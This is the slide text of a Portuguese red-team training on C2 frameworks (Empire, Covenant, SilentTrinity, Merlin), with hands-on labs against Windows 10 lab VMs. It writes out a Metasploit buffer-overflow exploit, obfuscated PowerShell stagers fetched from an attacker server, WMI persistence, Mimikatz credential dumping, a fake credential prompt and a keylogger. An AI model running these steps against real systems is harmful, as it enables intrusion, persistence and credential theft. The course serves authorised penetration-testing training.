Escolar Documentos
Profissional Documentos
Cultura Documentos
Treinamento EHC2 GoHacking
Treinamento EHC2 GoHacking
Comando e Controle – C2
Ethical Hacking Command and Control – EHC2
WHOAMI
ü Engenheiro de Computação – IME
ü Pós-Graduação em Segurança da Informação
ü Pós-Graduação em Ciências Militares
ü Diversos Cursos em Seg Info em Instituições Internacionais - OffSec e SANS
ü SANS Mentor Instructor (desde 2014)
ü Instrutor de Defesa Cibernética e PenTest nas Forças Armadas (desde 2011)
ü Principais Certs Internacionais em Seg Info: CISSP, OSCP, OSWP, OSCE, GSEC, GCED, GPPA, GCIA,
GCIH, GCWN, GCFA, GNFA, GWAPT, GPEN, GPYC, GMOB, GDAT, GAWN, GREM, GXPN
ü Mais de 15 anos de experiência em Administração de Redes/Sistemas e Segurança da Informação
ü Participação ativa nos Grandes Eventos – Gerência e Proteção dos Sistemas de Comando e Controle
do Ministério da Defesa: Rio +20, Copa das Confederações 2013, Jornada Mundial da Juventude,
Copa do Mundo 2014, Jogos Olímpicos 2016
ü Speaker: Brazil Cyber Defense 2018, SBRC 2018, OWASP BSB 2018/2019/2020
ü “Um pouco viciado em CTF… J”
ü NetWars Champion
ü Fundador e Instrutor da GoHacking LAIOS FELIPE BARBOSA
WHOAMI
@laios_barbosa
Laios Barbosa
Agenda
• Pentesting/Red Team/Post-Exploitation
• Cyber Kill Chain
• MITRE ATT&CK
• C2 Frameworks
• Empire
• Covenant
• SilentTrinity
• Merlin
• Sliver
• Detecção e Resposta
Treinamento
As ameaças e os adversários cibernéticos estão cada vez mais
elaborados e organizados, o que implica que a defesa também precisa
evoluir. As organizações necessitam que os responsáveis pela proteção
das informações desenvolvam suas atividades com a mentalidade do
atacante. Nesse contexto, treinamentos práticos em segurança
ofensiva podem suprir essa demanda.
Treinamento
Pentesting
“Penetration testing, or pentesting, involves simulating
real attacks to assess the risk associated with
potential security breaches. On a pentest (as opposed
to a vulnerability assessment), the testers not only dis-
cover vulnerabilities that could be used by attackers
but also exploit vulnerabilities, where possible, to
assess what attackers might gain after a successful
Exploitation.”
Georgia Weidman
Pentesting
“Penetration testing, or pentesting, involves simulating
real attacks to assess the risk associated with
potential security breaches. On a pentest (as opposed
to a vulnerability assessment), the testers not only dis-
cover vulnerabilities that could be used by attackers
but also exploit vulnerabilities,
Verificação where possible,
de Vulnerabilidades: to
encontrar possíveis
falhas sem, necessariamente, explorá-las. Normalmente,
assess what attackers might
baseadogain after que
em ferramentas a successful
automatizam o processo e
geram um relatório resumido de prováveis
Exploitation.”vulnerabilidades (Ex.: Nessus, OpenVAS)
Georgia Weidman
Pentesting
“Penetration testing involves modeling the techniques
use by real-world computer attacks to find
vulnerabilities and, under controlled circumstances, to
exploit those flows in a professional, safer manner
according to a carefully designed scope and rules of
engagement to determine business risk and potential
impact all with the goal of helping organization improve
security practices”
[1] https://www.cisecurity.org/controls/cis-controls-list/
Pentesting
FASES
• Definição do Escopo (Planejamento/Regras)
• Coleta da Informações
• Enumeração
• Exploração
• Pós-Exploração
• Relatório
Pentesting
[1] http://www.pentest-standard.org/index.php/Main_Page
Pentesting
FASES – PTES
• Pre-engagement
• Intelligence Gathering
• Threat Modeling
• Vulnerability Analysis
• Exploitation
• Post-Exploitation
• Reporting
Pentesting
[1] https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf
Pentesting
[1] https://www.isecom.org/OSSTMM.3.pdf
Pentesting
[1] https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf
Pentesting
[1] https://owasp.org/www-project-web-security-testing-guide/v41/
Cyber Kill Chain
[1] https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
1-RECON
2-WEAPONIZATION
1-RECON
2-WEAPONIZATION
1-RECON 3-DELIVERY
2-WEAPONIZATION
1-RECON 3-DELIVERY
4-EXPLOITATION
2-WEAPONIZATION
1-RECON 3-DELIVERY
5-INSTALLATION
4-EXPLOITATION
2-WEAPONIZATION
1-RECON 3-DELIVERY
5-INSTALLATION
4-EXPLOITATION 6-COMMAND&CONTROL
2-WEAPONIZATION
1-RECON 3-DELIVERY
5-INSTALLATION 7-ACTIONS ON
OBJECTIVES
4-EXPLOITATION 6-COMMAND&CONTROL
Cyber Kill Chain
DELL SecureWorks Kill Chain
[1] https://www.secureworks.com/resources/wp-breaking-the-kill-chain
Cyber Kill Chain
AT&T Internal Cyber Kill Chain
[1] https://www.alienvault.com/blogs/security-essentials/the-internal-cyber-kill-chain-model
MITRE
MITRE
https://cve.mitre.org/
MITRE
Adversarial Tactics Techniques and Common Knowledge
https://attack.mitre.org/
MITRE ATT&CK
[1] https://medium.com/mitre-attack/integrating-pre-att-ck-techniques-into-att-ck-896bfb665e01
MITRE
MITRE ATT&CK
Windows
Linux
MacOS
PRE-ATT&CK Cloud
ENTERPRISE
ATT&CK Domínios
MOBILE
[1] https://medium.com/mitre-attack/getting-started-with-attack-cti-4eb205be4b2f
MITRE ATT&CK
Windows
Linux
MacOS
PRE-ATT&CK Cloud
ENTERPRISE
ICS
[1] https://medium.com/mitre-attack/getting-started-with-attack-cti-4eb205be4b2f
MITRE ATT&CK
[1] https://medium.com/mitre-attack/2020-attack-roadmap-4820d30b38ba
MITRE ATT&CK
[1] https://attack.mitre.org/matrices/pre/
MITRE ATT&CK
Adversarial Tactics Techniques and Common Knowledge
https://attack.mitre.org/
MITRE ATT&CK
Adversarial Tactics Techniques and Common Knowledge
https://attack.mitre.org/
MITRE ATT&CK
MITRE ATT&CK
MITRE ATT&CK
Adversarial Tactics Techniques and Common Knowledge
MITRE ATT&CK
MITRE ATT&CK
MITRE ATT&CK Navigator
https://mitre-attack.github.io/attack-navigator/enterprise/
MITRE ATT&CK
T => Techniques
TA => Tactics
MITRE ATT&CK
https://attack.mitre.org/techniques/T1210/
Descrição
Resumida
Informações Gerais
Adversários e Ferramentas
MITRE ATT&CK
https://attack.mitre.org/techniques/T1210/
Como mitigar
Como detectar
Unified Kill Chain
Mitre ATT&CK + Cyber Kill Chain
[1] https://commons.wikimedia.org/wiki/File:The_Unified_Kill_Chain.png
[2] https://www.csacademy.nl/images/scripties/2018/Paul_Pols_-_The_Unified_Kill_Chain_1.pdf
Red Team vs Blue Team
Pentesting vs Red Team Operation
[1] http://www.circleid.com/posts/20161128_navigating_the_pentest_world/
Pentesting vs Red Team Operation
[1] https://github.com/infosecn1nja/Red-Teaming-Toolkit
Purple Team
Purple Team
[1] https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1571757304.pdf
Pós-Exploração
OUTPUT
Pós-Exploração
Quanto tempo
um atacante pode
permanecer em
nossa organização
sem ser notado
???
Relatório M-Trends
[1] https://content.fireeye.com/m-trends/
Tempo de Detecção
Tempo de Detecção
Tempo de Detecção
Tempo de Detecção
2-WEAPONIZATION
1-RECON 3-DELIVERY
5-INSTALLATION 7-ACTIONS ON
OBJECTIVES
4-EXPLOITATION 6-COMMAND&CONTROL
MITRE ATT&CK
MITRE ATT&CK
MITRE ATT&CK
C2 Frameworks
C2 Frameworks
üAPFELL üNUAGES
üC3 üPOSHC2
üCALDERA üPOSHC2_PYTHON
üCOBALT STRIKE üPOWERHUB
üEMPIRE üPRISMATICA
üCOVENANT üQUASARRAT
üSILENT TRINITY üRED TEAM TOOLKIT
üFACTION C2 üREDVIPER
üFLYINGAFLASEFLAG üSCYTHE
üGODOH üMERLIN
üIBOMBSHELL üSLIVER
üINNUENDO üTHROWBACK
üKOADIC3 üTREVOR C2
üMACSHELLSWIFT üVOODOO
üEVILOSX
C2 Frameworks
üAPFELL üNUAGES
üC3 üPOSHC2
üCALDERA üPOSHC2_PYTHON
üCOBALT STRIKE üPOWERHUB
üEMPIRE üPRISMATICA
üCOVENANT üQUASARRAT
üSILENT TRINITY üRED TEAM TOOLKIT
üFACTION C2 üREDVIPER
üFLYINGAFLASEFLAG üSCYTHE
üGODOH üMERLIN
üIBOMBSHELL üSLIVER
üINNUENDO üTHROWBACK
üKOADIC3 üTREVOR C2
üMACSHELLSWIFT üVOODOO
üEVILOSX
C2 Frameworks
ATACANTE ALVO
Servidor Lançador
Módulos Agente
C2 Frameworks
ATACANTE ALVO
Listener Stager/Launcher
Modules Agent
C2 Frameworks
Preparação
Configuração Inicial
DESCONTINUADO EM
AGOSTO DE 2019
Empire
[1] https://github.com/EmpireProject/Empire
Empire
PROJETO RESTAURADO
DEZEMBRO 2019
BC-SECURITY
[1] https://www.bc-security.org/post/the-empire-3-0-strikes-back/
Empire
[1] https://github.com/BC-SECURITY/Empire
Empire
[1] https://www.powershellempire.com/
Empire
• Post-Exploitation Framework baseado na linguagem PowerShell
• “Divisor de Águas” no cenário de Infra de C2
• 02 Componentes principais
• Servidor de Controle (listener), escrito em Python 3
• Agentes (clientes) escritos em PowerShell
• Analogia Msfconsole (servidor) e Meterpreter (agente)
• Assincronismo (Comando/Resposta)
• Derivado de outras ferramentas
• PowerSploit
• Posh-SecMod
• UnamanagedPowerShell
• PowerShell-AD-Recon
• PowerUp
• Outros ...
Empire
• Funcionalidades
• Toda comunicação entre o agente na vítima e o servidor (listener) no
atacante é cifrada
• Embora os agentes possam ser executados dentro do processo
powershell.exe, eles não precisam do powershell.exe para
desempenhar suas atividades
• O Empire possui a capacidade de injetar o agente como uma DLL
dentro de outro processo e daí extrair as funcionalidades do
PowerShell sem precisar executar o powershell.exe J
• O Empire pode se integrar com o Metasploit
Empire
• Funcionalidades
• Os agentes são configurados automaticamente, prontos para serem
utilizados
• Pode-se renomear as sessões (agentes) para facilitar a gerência
• Avisa quando um módulo ou ação não é interessante para o OpSec do
atacante
• Configura o tempo em que o agente irá funcionar
• Sair e retornar para sessão de onde parou
• C2 sobre HTTP e HTTPS – pode utilizar proxy
• Possui um banco de dados para armazenar credenciais encontradas
Empire
• Módulos
• Uma vez que o agente inicial é instalado no alvo, suas funcionalidades
podem ser estendidas por diversos módulos
• PowerBreach: implementa mecanismos de persistência
• Posh-SecMod: scanning, info gathering, descoberta de rede
• PowerSploit: execução de código, screenshot, keylogger, etc
• PowerUp: Escalada de Privilégio Local
• PowerView: varredura de contas de usuários, informações do
domínio, compartilhamentos, etc
Empire
[1] https://github.com/BC-SECURITY/Empire/wiki/Quickstart
Empire
• Instalação do Empire (Kali) via Git
- Escolher um diretório (/opt)
- cd /opt
- git clone https://github.com/BC-SECURITY/Empire.git
Empire
• Instalação do Empire (Kali) via Git
- cd /opt/Empire/setup
- Como usuário “root” executar ./install.sh
Empire
• Instalação do Empire (Kali) – Troubleshooting
- Dependendo da versão do Kali e do Python, podem ocorrer alguns problemas
durante a instalação
- Instalar o pacote M2Crypto => apt install python3-m2crypto
- Executar novamente o ./install.sh
- Executar manualmente o ./setup_database.py
Empire
• Executar o Empire
- cd /opt/Empire
- ./empire
Empire
ATACANTE ALVO
Listener Stager
Módulos Agente
Lab 1
• Objetivo: testar as principais funcionalidades do framework Empire
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de
uma aplicação vulnerável (DupScout), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via Powershell
• Habilitar o agente com a execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 1
172.16.210.200 172.16.210.10
(ATACANTE) (ALVO)
Lab 1
172.16.210.200 172.16.210.10
(ATACANTE) (ALVO)
172.16.210.200 172.16.210.10
(ATACANTE) (ALVO)
ESTABELECER O CANAL DE
COMANDO E CONTROLE (C2)
Lab 1
• Mapeamento dos serviços do alvo via NMAP
- nmap -T5 -sV -O 172.16.210.10
-Porta TCP 80 disponível (Serviço Web)
Lab 1
• Mapeamento dos serviços do alvo via NMAP
- nmap -T5 -A 172.16.210.10
Lab 1
• Serviço Web – Dup Scout Enterprise v10.0.18
• Verificar se existe alguma vulnerabilidade para a versão da aplicação
Lab 1
Existe um módulo de exploit no Metasploit
[1] https://www.exploit-db.com/exploits/43339
Lab 1
• No Kali, iniciar o PostgreSQL
- service postgresql start
• Iniciar o Metasploit e verificar o exploit para o DupScout 10.0.18
- msfconsole
- search dup_scout
- use exploit/windows/http/dup_scout_enterprise_login_bof
- info
Lab 1
• Vamos utilizar um arquivo customizado (dup.rc) para a exploração da
vulnerabilidade via Metasploit
• O arquivo está na VM do Kali no diretório “/root/c2”
• O resultado da exploração é um reverse shell simples
• Ponto de entrada no alvo
• Acesso inicial para as atividades de pós-exploração
Lab 1
• Execução do exploit via Mestasploit
- msfconsole -q -r /root/c2/dup.rc
• Obtenção do reverse shell
Lab 1
Reverse Shell como usuário “suporte” na máquina “win10”
Lab 1
• Troubleshooting caso a aplicação crash durante a execução do exploit
- Executar o gerenciador de serviços => services.msc
- Procurar pelo serviço “Dup Scout Enterprise”, botão direito e iniciar/reiniciar (start/restart)
- No pior caso, ou seja, aplicação instável, reiniciar a máquina
Lab 1
• Executar o Empire
- cd /opt/Empire
- ./empire
Lab 1
• Comando de ajuda
- help
-?
Lab 1
• Preparar o listener
- uselistener <TAB>
- Verificar as opções de listener
TAB
Lab 1
• Preparar o listener
- uselistener http
- Vamos utilizar um listener com o protocolo HTTP (porta TCP 80)
Lab 1
• Preparar o listener
- info
- Verificar opções de configuração do listener
Lab 1
• Para o listener, devem ser feitas algumas configurações básicas
• Configuração do Nome
- set Name HTTP1
• Configuração da porta (HTTP)
- set Port 80
• Configuração do intervalo do beacon
- set DefaultDelay 1
• Configuração da chave inicial de negociação entre agente e servidor
- set StagingKey <valor>
- O valor tem que ser o hash MD5 da chave/senha (string)
• Configuração do jitter
- set DefaultJitter <valor>
• Configuração de validade do agente
• set KillData <data>
• Configuração de credenciais de Proxy, caso necessário
Lab 1
• Configuração básica do listener
- set StagingKey <hash_md5_senha>
• Tem que ser configurado o hash MD5
Lab 1
• Configuração básica do listener
- set Name HTTP1
- set Port 80
- set DefaultDelay 1
• Iniciar o listener
- execute
Lab 1
• Verificar o listener
- main
- O comando main permite retornar para o menu inicial
- listeners
- Também pode ser executado o comando “list listeners”
Lab 1
O Empire, por padrão, simula um servidor web IIS da Microsoft
Lab 1
• Preparar o lançador (launcher ou stager)
- back
- O comando back permite voltar para o menu anterior ou inicial
- usestager <TAB>
- Verificar as opções dos lançadores
TAB
Lab 1
• Selecionar um lançador
- usestager multi/laucher
- info
Lab 1
• Configurar e gerar o lançador
- set Listener HTTP1
- generate
- Será gerado um comando em Powershell, levemente ofuscado (base64), que
deve ser executado no alvo para se criar o agente
Lab 1
• Como executar o lançador (stager) ?
• É possível executar o comando direto do reverse shell que representa
o nosso ponto de entrada (copy and paste). Contudo, podemos ter
alguns resultados inexperados ...
• Outra forma é colocar o comando em um arquivo, como um script em
Powershell, e fazer a chamada a esse arquivo
• Esse arquivo, deve ficar disponível num servidor web, sob o controle
do atacante
• Vamos fazer uso do comando Invoke-Expression do Powershell
Lab 1
[1] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7
Lab 1
Indicação de que o
agente foi habilitado
Lab 1
• O agente estabelece conexão com o sevidor de C2
- agents OU list agents
Lab 1
Interagir com o agent => interact <nome_do_agente>
TAB
Lab 1
• Selecionar o módulo “winenum”
- usemodule situational_awareness/host/winenum
JJJJJ
Lab 1
Persistência – Backdoor
Lab 1
[1] https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
Lab 1
• Mecanismos de persistência (existem diversos)
• O WMI já faz parte do Sistema Operacional Windows
• O WMI pode ser utilizado para criar formas de persistência
• Persistência via subscrição de eventos WMI
• Esses eventos, normalmente, trabalham com 03 classes:
- __EventFilter (trigger, é o gatilho que vai acionar o evento)
- EventConsumer (executar a ação, nesse caso, um payload)
- __FiltertoConsumerBinding (relaciona as classes de Filter e Consumer)
• IMPORTANTE: Eventos WMI executam como usuário SYSTEM,
persistem após o reboot e precisam de privilégio elevado para serem
configurados
Lab 1
• Procurar por módulos relacionados a WMI
- searchmodule wmi
Lab 1
• Selecionar o módulo “persistence/elevated/wmi*”
- usemodule persistence/elevated/wmi
Lab 1
• Opções do módulo “persistence/elevated/wmi*”
- info
Lab 1
• Configurar e executar o módulo
- set Listener HTTP1
- set AtStartup True
- run
Lab 1
• Matar o agente e reiniciar o Windows 10 para verificar a persistência
- agents
- kill <nome_do_agente> OU kill all
Lab 1
Reiniciar o Windows e aguardar 5 minutos
Lab 1
Esse módulo costuma retornar 02 (dois) agentes como SYSTEM
Lab 1
Matar um dos agentes e renomear o primeiro
Lab 1
[1] https://github.com/gentilkiwi/mimikatz
Lab 1
• Executar o módulo do Mimikatz para extrair credencias da memória
- mimikatz
Lab 1
• Verificar credenciais armazenadas/salvas
- creds
Lab 1
• Para remover a persistência
• Verificar o evento cadastrado via Powershell Get-WMIObject
• No Windows, executar o Powershell como Administrador
• Event Filter
- Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter
"Name='Updater'”
• Event Consumer
- Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -
Filter "Name='Updater'”
• Binding
- Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -
Filter "__Path LIKE '%Updater%'”
Lab 1
Verificando o evento WMI malicioso
Lab 1
Verificando o evento WMI malicioso
Lab 1
• Para remover a persistência
• Remover o evento cadastrado via Powershell Remove-WMIObject
• No Windows, executar o Powershell como Administrador
• Event Filter
- Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter
"Name='Updater'" | Remove-WmiObject –Verbose
• Event Consumer
- Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -
Filter "Name='Updater'" | Remove-WmiObject –Verbose
• Binding
- Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -
Filter "__Path LIKE '%Updater%'" | Remove-WmiObject -Verbose
Lab 1
Remover o evento WMI malicioso
Lab 1
Interface Gráfica – Starkiller
Lab 1
Interface Gráfica – Starkiller
[1] https://github.com/BC-SECURITY/Starkiller
Lab 1
Interface Gráfica – Starkiller
[1] https://www.bc-security.org/post/an-introduction-to-starkiller/
Lab 1
• Download da versão mais atualizada do executável – starkiller-1.2.2.AppImage
- wget https://github.com/BC-SECURITY/Starkiller/releases/download/v1.2.2/starkiller-
1.2.2.AppImage
Lab 1
• Configurar o Empire para utilizar o Starkiller
- ./empire --rest --username admin --password gohacking
- Por padrão, a API do Empire escuta na porta TCP 1337
Lab 1
• Iniciar o starkiller
- chmod 755 starkiller-1.2.2.AppImage
- ./starkiller-1.2.2.AppImage --no-sandbox
Lab 1
• Iniciar o starkiller
- Name => localhost:1337
- Username => admin
- Password => gohacking
Avaliação – Empire
• Vantagens
- Gratuito
- Ferramenta intuitiva e consagrada na área de C2
- Fácil instalação e configuração
- Multiusuário
- Vem sendo mantida ativamente pela comunidade
- Possui interface por linha de comando e interface gráfica
- É possível configurar tempo de validade do agente
- É possível configurar jitter
- Utiliza um canal cifrado de comunicação
- Possui agente para todos os principais Sistemas Operacionais
- Apresenta uma grande variedade de módulos e comandos
Avaliação – Empire
• Desvantagens
- Por ser muito conhecida é bastante visada pelas soluções de defesa
- Muitos AV já criaram assinaturas para os payloads do Empire
- Depende muito de Powershell para a plataforma Windows
- Utiliza apenas 02 protocolos de comunicação (HTTP e HTTPS)
C2 Frameworks
Covenant
Convenant
[1] https://github.com/cobbr/Covenant
Covenant
• Ferramenta de C2 desenvolvido em C#
• Pode-se utilizar o .NET Core, o que permite que a ferramenta
seja multiplataforma
• Possui uma interface web de gerência intuitiva e colaborativa,
criada para facilitar as atividades de Red Team
Covenant
Instalação do Covenant via Docker
[1] https://vdalabs.com/2019/04/09/docker-for-hackers-from-apt-install-docker-ce-to-pwn-in-10-minutes-or-less/
Covenant
Instalação do Docker no Kali
[1] https://vdalabs.com/2019/04/09/docker-for-hackers-from-apt-install-docker-ce-to-pwn-in-10-minutes-or-less/
Covenant
Instalação do Covenant via Docker
[1] https://github.com/cobbr/Covenant/wiki/Installation-And-Startup
Convenant
• Instalação do Covenant via Docker
- cd /opt
- git clone --recurse-submodules https://github.com/cobbr/Covenant
Convenant
• Instalação do Covenant via Docker
- cd /opt/Covenant/Covenant
- service docker start
- docker build -t covenant .
Convenant
Instalação do Covenant via Docker
https://github.com/cobbr/Covenant/wiki/Installation-And-Startup
Lab 2
• Objetivo: testar as principais funcionalidades do framework Convenant
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de uma
aplicação vulnerável (Dup Scout - BOF), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Utilizar o payload meterpreter do Metasploit
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via DLL
• Habilitar o agente com a execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 2
[1] https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
Lab 2
• Diferente do cenário anterior, vamos utilizar, no acesso inicial, o
Metasploit com o payload meterpreter
• Como meterpreter, termos a capacidade de migrar para um processo
x64 mais estával no sistema alvo
• Nesse caso, quando o exploit é executado, o meterpreter se insere no
espaço de memória da aplicação vulnerável, ou seja, o processo
dupscts.exe, que é um software de 32bits
• Vamos migrar para o explorer.exe do usuário suporte, com o objetivo
de ter uma sessão mais estável
• Nesse processo, teremos uma sessão mais confiável, porém com
menos privilégios
Lab 2
No Kali, temos o arquivo met.rc na pasta “/root/c2” para a execução do
exploit via Metasploit
Lab 2
• Estabelecimento da sessão inicial do meterpreter
- msfconsole -q -r c2/met.rc
Lab 2
• Estabelecimento da sessão inicial do meterpreter
- msfconsole -q -r c2/met.rc
Lab 2
• Habilitar todos os privilégios possíveis da sessão
- getprivs
Lab 2
• Verificar o PID atual da sessão (dupscts.exe)
- getpid
- ps -S dup
Lab 2
• Migrar para o explorer.exe (x64) e habilitar os privilégios possíveis
- ps -S exp
- migrate <PID_do_Explorer>
- getprivs
Lab 2
• Habilitar os privilégios da sessão
- getprivs
- sysinfo
docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant --username admin --computername 0.0.0.0
Vai ser solicitada uma senha que servirá para acessar a interface web
de gerência do servidor de C2 com o usuário admin
Lab 2
Iniciar o container do Covenant
docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant covenant --username admin --computername 0.0.0.0
admin
<senha>
Lab 2
Interface Web – https://localhost:7443
Lab 2
Configurar um Listener para receber as conexões dos agentes (Grunts)
Lab 2
Configurar um Listener para receber as conexões dos agentes (Grunts)
Lab 2
Configurar um Listener para receber as conexões dos agentes (Grunts)
• Vantagens
- Gratuito
- Apresenta uma gerência web de fácil utilização que facilitar o trabalho da
equipe (Red Team)
- Multiusuário
- Multiplataforma
- Docker
- Vem sendo mantida ativamente pela comunidade
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- Vários tipos de lançadores
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – Convenant
• Desvantagens
- Possui agente somente para a plataforma Windows
- Utiliza poucos protocolos de comunicação (HTTP, HTTPS e SMB)
C2 Frameworks
SilentTrinity
SilentTrinity
HELP
Lab 3
Funcionalidade de auto completar os comandos
Lab 3
• Configurar um listener para receber as conexões dos agentes
- listener
- help
Lab 3
• Configurar um listener para receber as conexões dos agentes
- list -a
- Existem 02 opções: HTTP e HTTPS
Lab 3
• Configurar um listener HTTPS
- use https
- options
Lab 3
• Configurar um listener HTTPS
- start
- list
Lab 3
• Configurar um stager
- stagers
- list
Lab 3
• Configurar um stager via Powershell
- use powershell_stageless
- generate https
LISTENER
Lab 3
Será gerado um Powershell Script chamado stager.ps1
Lab 3
Renomear o script para “fig.jpg” e disponibilizar via python web service
Lab 3
• Executar o script para via meterpreter (IEX) para habilitar o agente
- O meterpreter já foi migrado para o explorer.exe
Lab 3
• Verificar a nova sessão estabelecida
- sessions
- list
- info <id_do_agente>
Beacon em Milisegundos
Padrão é de 5 seg
Lab 3
• Configurar o beacon do agente para 1 seg (1000 ms)
- sleep <id_do_agente> 1000
Lab 3
• Verificar os módulos disponíveis
- modules
- list
Lab 3
• Verificar alguns módulos do framework
- use boo/ps
- info
Lab 3
• Executar o módulo boo/ps
- options
- run <id_do_agente>
Lab 3
• Executar comando do sistema operacional
- use boo/shell
- info
Lab 3
• Executar comandos do sistema operacional com o módulo boo/shell
- set Command <comando>
- run <id_do_agente>
Lab 3
• Comandos com argumentos devem ficar entre aspas (duplas ou simples)
- set Command "whoami /priv"
- run <id_do_agente>
Lab 3
• Executar o módulo de alterar o comportamento do mouse J J J J
- use boo/mouseshaker
- info
- run <id_do_agente>
Lab 3
• Capturar credenciais de usuários
- use boo/crephisher
- set MessageText "Sistema de Cadastro"
- run <id_do_agente>
Lab 3
Lab 3
Ótimo módulo para
engenharia social
Lab 3
• Capturar credenciais de usuários
- use boo/crephisher
- set MessageText "Sistema de Cadastro"
- run <id_do_agente>
Credenciais
Capturadas
Lab 3
• Executar um keylogger para capturar o que o usuário digita
- use boo/keylogger
- info
- set Duration 1
- run <id_do_agente>
Lab 3
Lab 3
Executar o módulo boo/keylogger para capturar o teclado
Lab 3
• Eliminar o agente
- sessions
- list
- kill <id_do_agente>
Lab 3
• Parar o listener
- listener
- list
- stop <nome_do_listener>
Avaliação – SilentTrinity
• Vantagens
- Gratuito
- Possui uma interface de linha de comando intuitiva
- Utiliza um método inovador de executar os agentes (BYOI)
- Multiusuário
- Protocolo rápido e cifrado de comunicação entre os usuários e o servidor de
gerência (wss) que facilita a interação entre a equipe
- Utilização de uma linguaguem não muito conhecida (Boo) que pode facilitar
métodos de evasão
- Vem sendo mantida ativamente pela comunidade
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- Vários tipos de lançadores
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – SilentTrinity
• Desvantagens
- Possui agentes somente para Windows
- Possui poucos protocolos de comunicação (HTTP e HTTPS)
- Ferramenta em desenvolvimento que necessita de alguns ajustes
- Não possui uma interface gráfica
C2 Frameworks
Merlin
Merlin
[1] https://github.com/Ne0nd0g/merlin
Merlin
• Instalação do Merlin
- Pré-requisito
- Instalar o golang
- apt install golang
Merlin
• Instalação do Merlin
- Vamos instalar a última versão de desenvolvimento (dev) do Git
- mkdir /opt/merlin
- cd /opt/merlin
- git clone https://github.com/Ne0nd0g/merlin -b dev
Merlin
• Instalação do Merlin
- Configurar a variável de ambiente GOPATH (apontar para qualquer diretório)
- export GOPATH=$HOME/go (nesse caso /root/go – criar o diretório)
- make
Merlin
• Instalação do Merlin
- Serão gerados os executáveis (servidores e agentes)
- Diretório => /opt/merlin/data/temp/v0.8.0.BETA/<build>
- Copiar o executável do servidor do Linux (merlinServer-Linux-x64) para o
diretório raiz da aplicação “/opt/merlin”
Lab 4
• Objetivo: testar as principais funcionalidades do framework Merlin
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de uma
aplicação vulnerável (Dup Scout - BOF), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Utilizar o payload meterpreter do Metasploit
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via executável
• Habilitar o agente a partir da execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 4
• Iniciar o servidor Linux do Merlin
- cd /opt/merlin
- ./merlinServer-Linux-x64 -h
Lab 4
• Opções de inicialização do servidor do Merlin
- ./merlinServer-Linux-x64 -h
Lab 4
• Iniciar o servidor Linux do Merlin
- ./merlinServer-Linux-x64 -i <ip_do_atacante> -psk <senha>
- Por padrão, o Merlin vai utilizar o protocolo HTTP/2 (h2)
- Por padrão, o Merlin vai utilizar a porta TCP 443 (SSL/TLS)
Lab 4
• Iniciar o servidor Linux do Merlin
- ./merlinServer-Linux-x64 -i <ip_do_atacante> -psk <senha>
- Por padrão, o Merlin vai utilizar o protocolo HTTP/2 (h2)
- Por padrão, o Merlin vai utilizar a porta TCP 443 (SSL/TLS)
- A ferramenta via gerar os certificados necessários para o protocolo (X.509)
Lab 4
• Menu inicial do Merlin
- help
Lab 4
• Preparar o agente do Merlin
- cd /opt/merlin
- Os executáveis ficam na pasta /opt/merlin/data/temp/<versão>/<id>
- Escolher a versão correta para o alvo “merlinAgent-Windows-x64.exe”
- Copiar para o diretório “/root” renomeando para “merlin.exe”
- cp -v merlinAgent-Windows-x64.exe /root/merlin.exe
Lab 4
• Fazer o upload do agente “merlin.exe” para o alvo via meterpreter
- Colocar na pasta “c:\users\suporte\downloads”
Lab 4
• Verificar as opções de execução do agente
- merlin.exe -h
Lab 4
• Para executar o agente
- Configurar a Pre-Shared Key (-psk) corretamente
- Configurar o servidor de C2 (-url)
- Podemos alterar o tempo do beacon (-sleep). O padrão são 30 seg
- Habilitar o modo verboso (-v) para análise
Lab 4
• Executar o agente com as devidas configurações
- merlin.exe -v -sleep 5s -url https://<ip_do_atacante>:443 -psk <senha>
Lab 4
• No servidor do Merlin temos a indicação da conexão do agente
- sessions
- agent list
Lab 4
• Interagir com o agente
- interact <tab>
- interact <id_do_agente>
Lab 4
• Comandos disponíveis para o agente
- help
Lab 4
• Informações sobre o agente
- info
Jitter
Lab 4
• Execução de comandos básicos (built-in)
- pwd
- ls
Lab 4
Todo o tráfego está cifrado (TLS) – wireshark
Lab 4
• Alterar o tempo do beacon do agente
- set sleep <tempo_em _segundos>
- info
Lab 4
• Execução de comandos do sistema operacional do alvo
- shell <comando>
Lab 4
• Download de arquivos
- Tem que escapar o “\” com “\\”
- download "c:\\users\\suporte\\desktop\\info.pdf"
Lab 4
• Download de arquivos
- /opt/merlin/data/agents/<id_do_agente>
Lab 4
• Utilização de módulos
- back
- use module <tab> <tab>
Lab 4
• Informações sobre o módulo
- use module <nome_do_modulo>
- info
Lab 4
• Opções de configuração do módulo
